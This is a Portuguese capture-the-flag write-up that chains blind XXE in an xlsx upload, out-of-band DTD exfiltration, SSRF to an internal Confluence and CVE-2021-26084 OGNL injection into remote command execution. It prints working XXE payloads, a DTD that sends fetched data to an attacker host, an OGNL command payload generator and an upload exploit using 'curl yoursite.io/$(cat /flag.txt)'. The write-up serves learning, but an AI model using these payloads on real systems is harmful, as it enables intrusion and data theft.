CTF LatinoWare 2021 - Planilhas Baby

Este challenge fez parte do CTF da Latinoware 2021 e o criador dele é o @manoelt.

Start

Untitled

Untitled

O desafio começa com essa página com um formulário de upload que aparentemente verifica arquivos “.xlsx” (excel).

Portanto vamos subir uma planilha qualquer para o site e ver o que acontece.

Untitled

Untitled

Depois de fazer o upload ele mostra o nome do arquivo e suas colunas. Após tentar algumas payloads de SSTI no nome e dentro das colunas e não obter suceso começei a pensar sobre do que é formado um arquivo xlsx, e fazendo umas pesquisas é possível notar que um arquivo xlsx é nada mais do que um compilado de arquivos xml.

Dando apenas um unzip em um arquivo xlsx vários arquivos são descompactados.

Untitled

Untitled

Quando vi esses arquivos fiquei pensando se não seria possível utilizar algumas payloads de XXE (XML External Entity).

Rapidamente encontrei alguns artigos falando sobre uma vulnerabilidade de XXE que um “interpretador” de xlsx em java possui.

https://www.4armed.com/blog/exploiting-xxe-with-excel/

Então comecei a testar algumas payloads.

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://jg315q2pvolex6xv5nvtaocgn7tyhn.burpcollaborator.net/"> ]>
<x>&xxe;</x>

Untitled

Untitled

E então depois de realizar o upload:

Untitled

Recebi o request da aplicação, mostrando que o XXE existe!! 😄

Nessa hora eu fiquei preso por muitas e muitas horas tentando diversas formas de exploração, isso que temos é um blind XXE isto é, não vemos a resposta do request, o que nos leva a testar uma técnica conhecida como blind XXE OOB, que consiste em hospedar um arquivo DTD (parecido com xml) contendo uma payload para que a aplicação carregue este arquivo. Mas NADA FUNCIONAVA.

Outro problema foi que eu e meus amigos estávamos tentando ler arquivos de dentro do servidor, porém nessa versão do Java, arquivos que contenham, um breakline (‘\n’) não conseguem ser passados como um argumento em uma requisição HTTP usando o nosso XXE, nenhum bypass para isso deu certo. Tentamos ler a flag, /etc/passwd, /etc/hosts, nenhum ia.

Então decidimos parar começar do 0, olhando as coisas de outra maneira.

Untitled

Então notamos que no HTML da página inicial continha um comentário deveras interessante.

Testando o host do desafio na porta 8090 não havia nada, portanto esse “link” é interno e provavelmente está na rede interna, em nossa payload de XXE podemos fazer requisições web, então a ideia é fazer requisições para o documentacao:8090 pelo nosso XXE.

A partir dai ja tinham se passado todos os minutos do campeonato e infelizmente não conseguimos terminar.

Porém, podemos continuar o write-up hehe.

Pesquisando sobre o que poderia ser essa aplicação rodando na porta 8090 caimos em algumas sugestões:

Untitled

Então procurando por vulnerabilidades nesses serviços chegamos em uma CVE bem recente,

CVE-2021-26084 que é um SSTI no confluence. Analisando os exploits dessa vulnerabilidade basicamente um usuário não autenticado poderia fazer requisições para o site, passando alguns parâmetros para conseguir RCE. Bom parece que é o que precisamos né?

Vamos verificar primeiro se é realmente um confluence que está rodando no site.

Exploitation

Para explorar esses requests eu primeiro comecei a usar a payload de blind XXE OOB que havia comentado.

No meu excel malicioso vai a payload xml dizendo para carregar o meu dtd malicioso:

Untitled

<!DOCTYPE ab [<!ELEMENT ab ANY ><!ENTITY % sp SYSTEM "http://seusite.io/bigous.dtd">%sp;%param1;]>
<ab>&exfil;</ab>

E no meu dtd, bigous.dtd:

<!ENTITY % data SYSTEM "http://documentacao:8090/johnson/static/css/main.css.map">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://seusite.io/?data=%data;'>">%

Essa payload significa que basicamente a aplicação vai pegar o que o http://documentacao:8090/johnson/static/css/main.css.map e enviar como um argumento para o meu link do burpcolaborator client. (‘johnson/static/css/main.css.map’ é um arquivo do confluence de uma linha para cerificar se o confluence existe está rodando 🙂).

PS: As tentativas de exploração que envolviam LFI foram usando este mesmo DTD mas trocando a url da entidade data por: “file:///etc/hostname”.

Então vamos compilar nosso XLSX, abrir um servidor para hospedar nosso DTD e fazer o upload :D

Para hospedar usei um simples server em flask:

from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def index():
    content = request.args.get('data') #apenqs para eu recer o quefor enviado no xxe
    print(content) ## e printar na tela
    return ':)'

@app.route("/bigous.dtd")
def dtd():
    return open('bigous.dtd').read() #mostrar o dtd malicioso nessa rota
app.run(host='0.0.0.0')

Depois de fazer o upload o request é feito com sucesso para nosso dtd, que por sua vez faz a aplicação fazer outro request sucedido e mandar a resposta para nosso servidor novamente.

Untitled

Ok, agora eu tinha certeza que era confluence. Hora de procurar os exploits para testar.

Quando fiz o upload do arquivo interceptei o request com o burp e usei a extensão: Copy As Python-Requests, para copiar a requisição para um script em python (dãr), assim eu consigo automatizar um pouco as coisas, ja que nosso arquivo xlsx vai ser sempre o mesmo.

Untitled

Fazendo uma busca por exploits, não encontrei muitos que fossem bons o suficiente para a minha situação, porém um exploit de um amigo me ajudou:

[GitHub - carlosevieira/CVE-2021-26084: CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection](https://github.com/carlosevieira/CVE-2021-26084)

Esse exploit basicamente pega um comando que o usuário passa, encoda ele na payload e manda para o servidor tudo certinho sem problemas de quebra.

Portando peguei o código dele e fiz umas alterações ja que só precisamos da payload:

O meu código para gerar as payloads ficou mais ou menos assim:

import sys

def craft_payload(command):
	command = command.replace('"', '%5Cu0022').replace("'","%5Cu0027").replace(' ',"%20")
	payload = "%5cu0027%2b{Class.forName(%5cu0027javax.script.ScriptEngineManager%5cu0027).newInstance().getEngineByName(%5cu0027JavaScript%5cu0027).%5cu0065val(%5cu0027var+isWin+%3d+java.lang.System.getProperty(%5cu0022os.name%5cu0022).toLowerCase().contains(%5cu0022win%5cu0022)%3b+var+cmd+%3d+new+java.lang.String(%5cu0022"+command+"%5cu0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(%5cu0022cmd.exe%5cu0022,+%5cu0022/c%5cu0022,+cmd)%3b+}+else{p.command(%5cu0022bash%5cu0022,+%5cu0022-c%5cu0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}%5cu0027)}%2b%5cu0027"
	return payload
	
cmd = sys.argv[1]
print(exploit(cmd))

Untitled

E parece funcionar.

Pelo o que li da vulnerabilidade existem várias “rotas” no confluence que aceitam parâmetros vulneráveis (escolhi o ‘queryString’) a SSTI, portando escolhi um aleatório para mandar a payload (‘pages/doenterpagevariables.action’).

Juntei o upload do xlsx com um script que coloca a payload no nosso arquivo DTD para fazer o exploit.

Segue o exploit:

(in same path of your dtd file)$ python3 exploit.py 'curl yoursite.io/$(cat /flag.txt)' 
import requests
import sys

def send_file():
	session = requests.session()

	burp0_url = "http://34.85.140.67:80/uploadFile"
	burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://34.85.140.67", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryX8EzGd8nAoSVFtBe", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://34.85.140.67/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
	burp0_data = "------WebKitFormBoundaryX8EzGd8nAoSVFtBe\r\nContent-Disposition: form-data; name=\"file\"; filename=\"exploit.xlsx\"\r\nContent-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\r\n\r\nPK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00b\xee\x9dhO\x01\x00\x00\x90\x04\x00\x00\x13\x00\x1c\x00[Content_Types].xmlUT\t\x00\x030\xd0\xce\x12\x1e\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xad\x94Mn\xc20\x10\x85\xf7\x95z\x87\xc8[\x94\x18\xba\xa8\xaa\x8a\xc0\xa2?\xcb\x16\xa9\xf4\x00n<!\x16\x8emy\x06\n\xb7\xef\xc4PTU\x94\xa8\x82M\xacx\xe6\xbd\xef\xd9\xd1d<\xdd\xb46[CD\xe3])F\xc5Pd\xe0*\xaf\x8d[\x94\xe2}\xfe\x9c\xdf\x89\x0cI9\xad\xacwP\x8a-\xa0\x98N\xae\xaf\xc6\xf3m\x00\xccX\xed\xb0\x14\rQ\xb8\x97\x12\xab\x06Z\x85\x85\x0f\xe0\xb8R\xfb\xd8*\xe2\xd7\xb8\x90AUK\xb5\x00y3\x1c\xde\xca\xca;\x02G9u\x1eb2~\x84Z\xad,eO\x1b\xde\xde%\x89`Qd\x0f\xbb\xc6\x8eU\n\x15\x825\x95\"\xae\xcb\xb5\xd3\xbf(\xf9\x9eP\xb02\xf5`c\x02\x0e\xb8A\xc8\xa3\x84\xae\xf27`\xaf{\xe5\xab\x89FC6S\x91^T\xcb]rc\xe5\xa7\x8f\xcb\x0f\xef\x97\xc5i\x93#)}]\x9b\n\xb4\xafV-K\n\x0c\x11\x94\xc6\x06\x80Z[\xa4\xb5h\x95q\x83~~jF\x99\x96\xd1\x85\x83\x1c\xfc{r\x10o\xd8=\xcf\x8f\x90lz\x80H[\x0bx\xe9kO\xa6}\xe4FE\xd0o\x14y2.\x1e\xe0\xa7\xf7\xa9\x1c\xac\x9fE\x1f\x90'(\xc2\xffC|\x8fH\xa7\xce\x03\x1bA$s\xfa\xe4\x07\"[\x9f}j\xe8\xa6O\x83>\xc2\x96\xe92\xf9\x02PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x1c\x00_rels/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\xb5U0#\xeb\x00\x00\x00L\x02\x00\x00\x0b\x00\x1c\x00_rels/.relsUT\t\x00\x030\xd0\xce\x12n\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xad\x92\xcdj\xc30\x0c\x80\xef\x83\xbd\x83\xd1\xbdQ\xda\xc1\x18\xa3N/c\xd0\xdb\x18\xd9\x03h\xb6\xf2C\x12\xcb\xd8n\x97\xbe\xfd\xbc\xc3\xd8\x02]\xe9aG\xcb\xd2\xa7OB\xdb\xdd<\x8d\xea\xc8!\xf6\xe24\xac\x8b\x12\x14;#\xb6w\xad\x86\xb7\xfay\xf5\x00*&r\x96Fq\xac\xe1\xc4\x11v\xd5\xed\xcd\xf6\x95GJ\xb9(v\xbd\x8f*S\\\xd4\xd0\xa5\xe4\x1f\x11\xa3\xe9x\xa2X\x88g\x97\x1a\t\x13\xa5\xfc\x0c-z2\x03\xb5\x8c\x9b\xb2\xbc\xc7\xf0\x9b\x01\xd5\x82\xa9\xf6VC\xd8\xdb;P\xf5\xc9\xf35li\x9a\xde\xf0\x93\x98\xc3\xc4.\x9di\x81<'v\x96\xed\xca\x87\\\x1fR\x9f\xa7Q5\x85\x96\x93\x06+\xe6%\x87#\x92\xf7EF\x03\x9e7\xda\\o\xf4\xf7\xb48q\"K\x89\xd0H\xe0\xcb>_\x19\x97\x84\xd6\xff\xb9\xa2e\xc6\x8f\xcd<\xe2\x87\x84\xe1]d\xf8v\xc1\xc5\rT\x9fPK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00docProps/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x003-\xc0tv\x01\x00\x00\x13\x03\x00\x00\x10\x00\x1c\x00docProps/app.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x9dR\xc1N\xeb0\x10\xbc#\xf1\x0f\x91\xef\xd4\t<!T9F\xa8\x808<\xf4*\xb5\xe5\xbe8\x9b\xc6\xc2\xb1-{\x89Z\xbe\xfe9\xa9\x1aR\xe0\xc4mvv4\x99\xccZ\xdc\xeeZ\x93u\x18\xa2v\xb6d\xc5,g\x19Z\xe5*m\xb7%\xdb\xac\x1f/nX\x16\tl\x05\xc6Y,\xd9\x1e#\xbb\x95\xe7gb\x19\x9c\xc7@\x1ac\x96,l,YC\xe4\xe7\x9cG\xd5`\x0bq\x96\xd66mj\x17Z\xa04\x86-wu\xad\x15\xde;\xf5\xde\xa2%~\x99\xe7\xd7\x1cw\x84\xb6\xc2\xea\xc2\x8f\x86\xec\xe08\xef\xe8\xb7\xa6\x95S}\xbe\xf8\xb2\xde\xfb\xe4'\xc5\x9d\xf7F+\xa0\xf4\x97\xf2Y\xab\xe0\xa2\xab){\xd8)4\x82O\x97\"\x19\xadP\xbd\x07M{\x99\x0b>\x1d\xc5J\x81\xc1E2\x965\x98\x88\x82\x12\xe2\t\xa1/m\t:D):\x9aw\xa8\xc8\x85,\xea\x8fT\xdb%\xcb^!b\x1f\xa7d\x1d\x04\r\x96\xd8Av\x18\x06l|\xa4 \x97\x06\xac6\rD\xc1Gn\x80S\xe9\x14\xeb?\xb2\x18\x04\t\x9c\n\xf9\x98#\xe1\xd3\x84kM\x06\xe3\xbfz\t\x81~\x08\\L\x03\x0f\x19\xd8\x0f\x11\x8bo\x11\x8f\x1f\xfbb\xbfp\xad\x07\x9b*\xe4#\xfa\xab\xed[\xdc\xf8\xb5\xbb\x07\xc2c\xa1\xa7\xa4X5\x10\xb0J7\x18\x0b\x1f\t\xf1\x94\xa2\x05\xd3\xeb\x17\r\xd8-VG\xcd\xf7E\xfe\x97\xc3\x1b\x97\xc5\xf5,\xbf\xca\xf3\xe1\xeaGN\xf0\xcf\xd7,\xff\x03PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00/\x99t\xe87\x01\x00\x00q\x02\x00\x00\x11\x00\x1c\x00docProps/core.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x8d\x92]k\xc20\x14\x86\xef\x07\xfb\x0f%\xf7m\x9a\x8a\"\xa1\xad\xb0\r\xaf&\x0c\xe6\xd8\xd8]H\x8e\x1a\xd6|\x90D\xab\xff~i\xd5\xaa\xcc\x8b]\x86\xf7\xc9\x93\xf3\x1eR\xce\xf6\xaaIv\xe0\xbc4\xbaB$\xcbQ\x02\x9a\x1b!\xf5\xbaB\x1f\xcby:E\x89\x0fL\x0b\xd6\x18\r\x15:\x80G\xb3\xfa\xf1\xa1\xe4\x96r\xe3\xe0\xcd\x19\x0b.H\xf0I4iO\xb9\xad\xd0&\x04K1\xf6|\x03\x8a\xf9,\x12:\x86+\xe3\x14\x0b\xf1\xe8\xd6\xd82\xfe\xc3\xd6\x80\x8b<\x9f`\x05\x81\t\x16\x18\xee\x84\xa9\x1d\x8c\xe8\xa4\x14|P\xda\xadkz\x81\xe0\x18\x1aP\xa0\x83\xc7$#\xf8\xc2\x06p\xca\xdf\xbd\xd0'W\xa4\x92\xe1`\xe1.z\x0e\x07z\xef\xe5\x00\xb6m\x9b\xb5\xa3\x1e\x8d\xf3\x13\xfc\xb5x}\xef\xab\xa6Rw\xbb\xe2\x80\xeaRp\xca\x1d\xb0`\\\xbd\x93Zr\xb9\xf5Y\xec\x05\xd2\xb1\x12_\x85\xdd\"\x1b\xe6\xc3\"\xee|%A<\x1d\xee\xf0\x99\xf2T\xf4\xe8\x01\x91\xc4\x01\xe9\xb1\xce9\xf9\x1c=\xbf,\xe7\xa8.\xf2\x82\xa4$O\xc9xI&\xb4\x98\xd2q\xf1\xdd\x8dps\xff\"T\xa7G\xfem\x1c\xe7tD\xae\x8cgA\xdd\xcf}\xfbI\xea_PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x1c\x00xl/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x126\"\xcc\x95\x00\x00\x00\xb2\x00\x00\x00\x14\x00\x1c\x00xl/sharedStrings.xmlUT\t\x00\x030\xd0\xce\x12\x8e\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x005\xcdA\n\xc20\x10\x85\xe1\xbd\xe0\x1d\xc2\xec\\\xd8\xa9.DJ\x92.\x04O\xa0\x07\x08\xed\xd8\x06\x9aI\xedLEoo\\\xb8\xfcx<~\xdb\xbe\xd3d^\xb4H\xcc\xec\xe0P\xd5`\x88\xbb\xdcG\x1e\x1c\xdco\xd7\xfd\x19\x8ch\xe0>L\x99\xc9\xc1\x87\x04Z\xbf\xddX\x115\xe5\xcb\xe2`T\x9d\x1bD\xe9FJA\xaa<\x13\x97\xe5\x91\x97\x14\xb4p\x19P\xe6\x85B/#\x91\xa6\t\x8fu}\xc2\x14\"\x83\xe9\xf2\xcaZ\xba`V\x8e\xcf\x95.{+\xd1[\xf5\xcd\xce\xa2z\x8b?ai\xfa/PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00y\xa1\x80l\x8d\x02\x00\x00R\x06\x00\x00\r\x00\x1c\x00xl/styles.xmlUT\t\x00\x030\xd0\xce\x12\x8f\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xa5\x95]o\xdb \x14\x86\xef'\xed? \xee]l7\xce\x92\xc8v\xb54\xb5T\xa9\x9b&%\x93vKl\x9c\xa0\xf2\x11\x01\xce\x9cM\xfb\xef;\xd8I\x9c\xa8\xd36\xb5W\xc0\xcb\xe19/\x1c\xb0\xd3\xbbV\n\xb4g\xc6r\xad2\x1c\xdd\x84\x181U\xea\x8a\xabM\x86\xbf\xae\x8a`\x82\x91uTUTh\xc52|`\x16\xdf\xe5\xef\xdf\xa5\xd6\x1d\x04[n\x19s\x08\x10\xcafx\xeb\xdcnF\x88-\xb7LR{\xa3wL\xc1L\xad\x8d\xa4\x0e\x86fC\xec\xce0ZY\xbfH\n\x12\x87\xe1\x98H\xca\x15\xee\t3Y\xfe\x0fDR\xf3\xdc\xec\x82R\xcb\x1du|\xcd\x05w\x87\x8e\x85\x91,g\x8f\x1b\xa5\r]\x0b\xb0\xdaF#Z\xa26\x1a\x9b\x18\xb5\xe6\x94\xa4S_\xe4\x91\xbc4\xda\xea\xda\xdd\x00\x97\xe8\xba\xe6%{iwJ\xa6\x84\x96\x03\t\xc8\xaf#E\t\t\xe3\xab\xbd\xb7\xe6\x95\xa4\x111l\xcf}\xf9p\x9e\xd6Z9\x8bJ\xdd(\x07\xc5\x04\xb6\xdf\xec\xecY\xe9\xef\xaa\xf0S^\xec\xa3\xf2\xd4\xfe@{*@\x890\xc9\xd3R\x0bm\x90\x83\xcc\xcc\x07\x81\xa2\xa8d}\xc4=\x15|m\xb8\x17k*\xb98\xf4r\xec\x85\xce\xec1Nr8{/\x92>C\xd7XX\xc4\x858\xbb\x8aq/\xe4)\x94\xcf1\xa3\n\x18\xa0cu\xd8Az\x057\xad\xc7tq\xff\x88\xde\x18z\x88\xe2\xe4bA\xd7@\xde\xb56\x15\xdc\xec\xe1<NR\x9e\nV;X`\xf8f\xeb[\xa7w\xc4O:\x07'\x9d\xa7\x15\xa7\x1b\xad\xa8\xf0\xc8\xd3\x8ac\x07\xb0%\x13b\xe9o\xff\xb7\xfa\x8a\xdd\xd6H5\xb2\x90\xee\xb1\xca0\xbc#\xbf\xfbS\x17\x0c\x1d\xbb=\xa6\x1fx\xfe%\xadg\xbf\x19\x8b\xda\xfa\x9aFw\x89\xae\xe8g\x15\xf9zg\xf8\xb3ib@\xa0u\xc3\x85\xe3\xea\x0f\x86\x81Y\xb5\x83\xd7n\xd6\xf9\xa7w\x9d\x05\x18\x15\xabi#\xdc\xea<\x99\xe1\xa1\xff\x89U\xbc\x91\xf19\xea\x0b\xdfkw\x8c\x1a\xfaO\xbeR\xd1\xd8\xe7`\xad{\xb2\xaekQcx\x86>\xcc?L\x17\x0fE\x1cL\xc2\xf9$\x18\xdd\xb2$\x98&\xf3E\x90\x8c\xee\xe7\x8bE1\r\xe3\xf0\xfe\xd7\xc5\x07\xe0\r\xcf\xbf{\xb3P\x94h4\xb3\x02\xa2\xccq\xb3G\xf3\xcbA\xcb\xf0\xc5\xa0\xb7\xdf\x9d\x1f\xd8\xbe\xf4>\x8d\xc7\xe1\xc7$\n\x83\xe26\x8c\x82\xd1\x98N\x82\xc9\xf86\t\x8a$\x8a\x17\xe3\xd1\xfc!)\x92\x0b\xef\xc9+?\x13!\x89\xa2\xc1|2s\\2\xc1\x15\xbb\xb6\xbf\xbaT\xa1H0\xfc\xcb&\xc8\xa9\x12d\xf8\x19\xe4\xbf\x01PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00xl/theme/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00h<\x03}\x99\x06\x00\x00\xc8 \x00\x00\x13\x00\x1c\x00xl/theme/theme1.xmlUT\t\x00\x030\xd0\xce\x12\x8d\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xedY\xcd\x8b\x1b7\x14\xbf\x17\xfa?\x88\xb9;3\xb6g\xfc\x11\xe2\x04{l\xe7k7Y\xb2NJ\x8e\xda\xb1\xecQ\xac\x19\x19I\xde]\x13\x02%9\xf5R(\xa4\xa5\x97Bo=\x94\xd2@\x03\r\xbd\xf4\x8f\t$\xb4\xe9\x1f\xd173\xfe\x18\xd9\x9a$\x9blBJ\xd7\x0b\xf6H\xfa\xbd\xa7\x9f\xde{zz\xab\xb9p\xe98b\xe8\x90\x08Iy\xdc\xb2\xca\xe7\x1c\x0b\x918\xe0C\x1a\x8f[\xd6\xedA\xbf\xd4\xb0\x90T8\x1eb\xc6c\xd2\xb2\xe6DZ\x97.~\xfe\xd9\x05|^\x85$\"\x08\xe4cy\x1e\xb7\xacP\xa9\xe9y\xdb\x96\x01tcy\x8eOI\x0cc#.\"\xac\xa0)\xc6\xf6P\xe0#\xd0\x1b1\xbb\xe285;\xc24\xb6P\x8c#P;\x00\x194\xe4\xe8\xe6hD\x03b]\\\xaa\xef1\xf8\x8a\x95L:\x02&\xf6\x83t\xceL&\x87\x1dN\xca\xc9\x8f\x9cK\x9f\tt\x88Y\xcb\x82\x99\x86\xfch@\x8e\x95\x85\x18\x96\n\x06Z\x96\x93~,\xfb\xe2\x05\xc4T\x81lN\xae\x9f~\x16r\x0b\x81\xe1\xa4\x92\xca\x89\xf1\xc1J\xd0u=\xb7\xd6^\xe9\xafd\xfa\xb7q\xbdz\xaf\xd6\xab\xad\xf4\xa5\x00\x1c\x04\xb0\xd2\xb2Ag\xbd\xe2\xbb\x0bl\x0e\x94=\x1atw\xeb\xddjY\xc3\xe7\xf4W\xb7\xf0m/\xf9\xd3\xf0\xd55\xde\xdd\xc2\xf7\xfb\xfe\xda\x869P\xf6\xe8m\xe1\xbdN\xb3\xd3\xd5\xf5{k|m\x0b_w\xda]\xb7\xae\xe1SP\xc8h<\xd9B;^\xad\xea/W\xbb\x82\x8c8\xbbb\x847=\xb7_\xaf,\xe0k\x94\x9d\x8b\xaeL>VE\xb1\x16\xe1{\\\xf4\x01\x90:\x17+\x1a#5\x9f\x92\x11\x0e\x00\xe7cF\x0f\x04E;t\x1cB\xe0Mq\xcc%t;\x15\xa7\xefT\xe1;\xf9s\xd3\xa7\xd4\xa3\xf8<\xc19\xe9\xac+\x90[]\t\x1f$\x03A\xa7\xaae]\x03\xadV\x0e\xf2\xe2\xd9\xb3\xe7\x0f\x9f>\xf8\xfb\xf3G\x8f\x9e?\xfcu1\xf7\xb6\xdc\x15\x1c\x8f\xf3r\xaf~\xfa\xe6\x9f\x1f\xbeD\xff\xf6\xe3\xab\xc7\xdf\x9a\xf12\x8f\xf9\xcbW/\xff\xf8\xf3u\xea\x95F\xeb\xbb'/\x9f>y\xf1\xfd\xd7\xfd\xfc\xd8\x00o\x0b|\x90\x87\x0fhD$\xbaA\x8e\xd0-\x1e\xc1\x02\r\x13\x90\x03q2\x89A\x88\xa9&\x81C@\x1a\x80=\x15j\xc0\x1bs\xccL\xb8\x0e\xd1MxG@\xa60\x01/\xcf\xeei\\\xf7C1S\xd4\x00\xbc\x1eF\x1ap\x97s\xd6\xe1\xc2\xb8\x9c\xeb\xc9\\\xf9\xe5\xcc\xe2\xb1yr1\xcb\xe3na|h\x9a\xdb\xdfppo6\x85\x90\xa7&\x95~H4\x9a{\x0c\xbc\x8d\xc7$&\n%c|B\x88A\xec.\xa5\x9a]wi \xb8\xe4#\x85\xeeR\xd4\xc1\xd4h\x92\x01=Pf\xa1+4\x02\xbf\xccM\x04\xc1\xd5\x9amv\xef\xa0\x0eg&\xf5]r\xa8#a[`fRI\x98f\xc6\xcbx\xa6pdd\x8c#\x96G\xee`\x15\x9aH\xee\xcfE\xa0\x19\\*\xf0\xf4\x980\x8ezC\"\xa5I\xe6\xa6\x98kt\xafC\x861\xbb}\x97\xcd#\x1d)\x14\x9d\x98\x90;\x98\xf3<\xb2\xcb'~\x88\xa3\xa9\x913\x8d\xc3<\xf6\xaa\x9c@\x88b\xb4\xc7\x95\x91\x04\xd7wH\xd2\x06?\xe0\xb8\xd0\xddw(Q'\xdb\xd6\xb7!\x03\x99\x03$\x19\x99\t\xd3\x96 \\\xdf\x8fs6\xc2\xc4\xa4\xbc-\"-\xbb\xb6\x055FGg6\xd6B{\x87\x10\x86\x8f\xf0\x90\x10t\xfb\xaa\t\xcf\xa7\xdcL\xfaZ\x08Y\xe5\n1\xd9\xe6\x1a\xd6c5i\xc7D\x12\x94\xd65\x06\xc7R\xa9\x85\xec>\x19\xf3\x02>\xbb\xf3\x8d\xc43\xc7q\x84E\x91\xe6\x1b\x13=dzp\xca\x19S\xe9M\x16L\xb4TJE\xb2i\xcd$n\xca\x08\xbf\x95\xd6\xbd\x10ka\x95\xb4\xa59^\xe7\">\xe9\x1e\x03\x99{\xef CN,\x03\x89\xfd\xadm3\xc0\x8c\x98\x03f\x80\xa1\xc00\xa5[\x10\x99\x99E\x92\xed\x94\x8a\xcd\x8cr#}\xd3\xae\xdd`o\xd4;\x11\x8d\xdfX\xfcl\x94=\xde\xc7){>X\xc1s\xfa\xa5NQJ\xd9,p\x8ap\xff\xc1\xb2\xa6\x8bg\xf1\x1e\x81\x93\xe4\xac\xaa9\xabj\xfe\x8fUM\xd1^>\xabe\xcej\x99\xb3Z\xe6\xa3\xd52\xeb\xf2\xc5\xce\xdf\xf2\xa4Z\xa2\xc2+\x9f\x11el_\xcd\x19\xd9\x91i\xe1#a\xef\x0f\xfb\xd0\x996R\xa1\xd5\r\xd34\x84\xc7\xc5t\x1an,p\xfa\x8c\x04W_P\x15\xee\x87x\n\xd3\x94\xd3\x19\xc6r\xa1z,\xd1\x94K(\x9d\xacB\xddi\xe95\x8bv\xf90\xeb-\x97\x97\x97\x9a \x80\xd5\xba\x1fJ\xafe?\x14j*\xeb\xad\xd5\xd7\xb7w+\xf5ik,\xf3\x04\xbcT\xe9\xdb\x93\xc8M\xa6\x93\xa8\x1aH\xd4\xaboG\xa2\xec\x9c\x16\x8b\xa6\x81E\xa3\xfc:\x16v\xce+p8!\x9c\xdc\x88{n\xc6\x08\xc2\rBz\x98\xf8)\x93_z\xf7\xd4=]dL}\xd9\x15\xc3\xf2\x9a\xee\xa9yZ#\x91\x0b7\x9dD.\x0cC8<6\xbbO\xd9\xd7\xcd\xa6\xd9\xd5\x15#\x8dz\xe3C\xf8\xda\xde\xce\r,\xd6[\xe8\x08\xf6\\\xd5\x035\x01\x9e\xb6\xac\x11\xfc\xd3\x04\x8f\xd1\x14\xf4\xc9$Sa6\x8e[V\xa0\x16\x86~\x97\xcc2\x15Ru\xb1\x0c3X:\x94\xad?\xa2\x8a\x08\xc4h\x04\xb1\x9ew\x03\x8b\xd7\xdc\xca\x95\xba\xf3\xe9\x92k:\x9f\x9e\xe5\xecM'\x93\xd1\x88\x04\xaa\xa0g\xdd\x84\xb1L\x89q\xf4=\xc1I\x83\xcf\x80\xf4~8<B\x07l&na0\x94W/'\x06\x1cR\xa9V\xd6\x1cR\x91\x0b\xee\xb5\x157\xd2\xd5b+j/[\xd6[\x14\xb3i\x88\x17'J>\x99g\xf0\xf4yE'\xb7\x8e\x94\xe9\xe6\xaal\x93\t\x0f\xc6\xfd\xd38u\xdf,\xb4\x914\x0b\x0e\x90za\x16\xfbp\x87|\x8eU\xd5\xcc\xca3\xe6\xbaf\xc3y\xfd)\xf1\xfe\x07B\x8eZ\xc3L\xadj\xa6Vtv\x9cbA\x90\x9b\xaeV`\xb7J\xa17\xdf\xf34\xd8\x8cZ;WW\xa6\xad\xad\xb7\xda\xfc\xe0\x1eD~\x17\xaa\xd5\x19S2\xbb\x1c;\x86\xf2\xdb_\xbe\x8f\xcc2A\xda\xbb\xcc.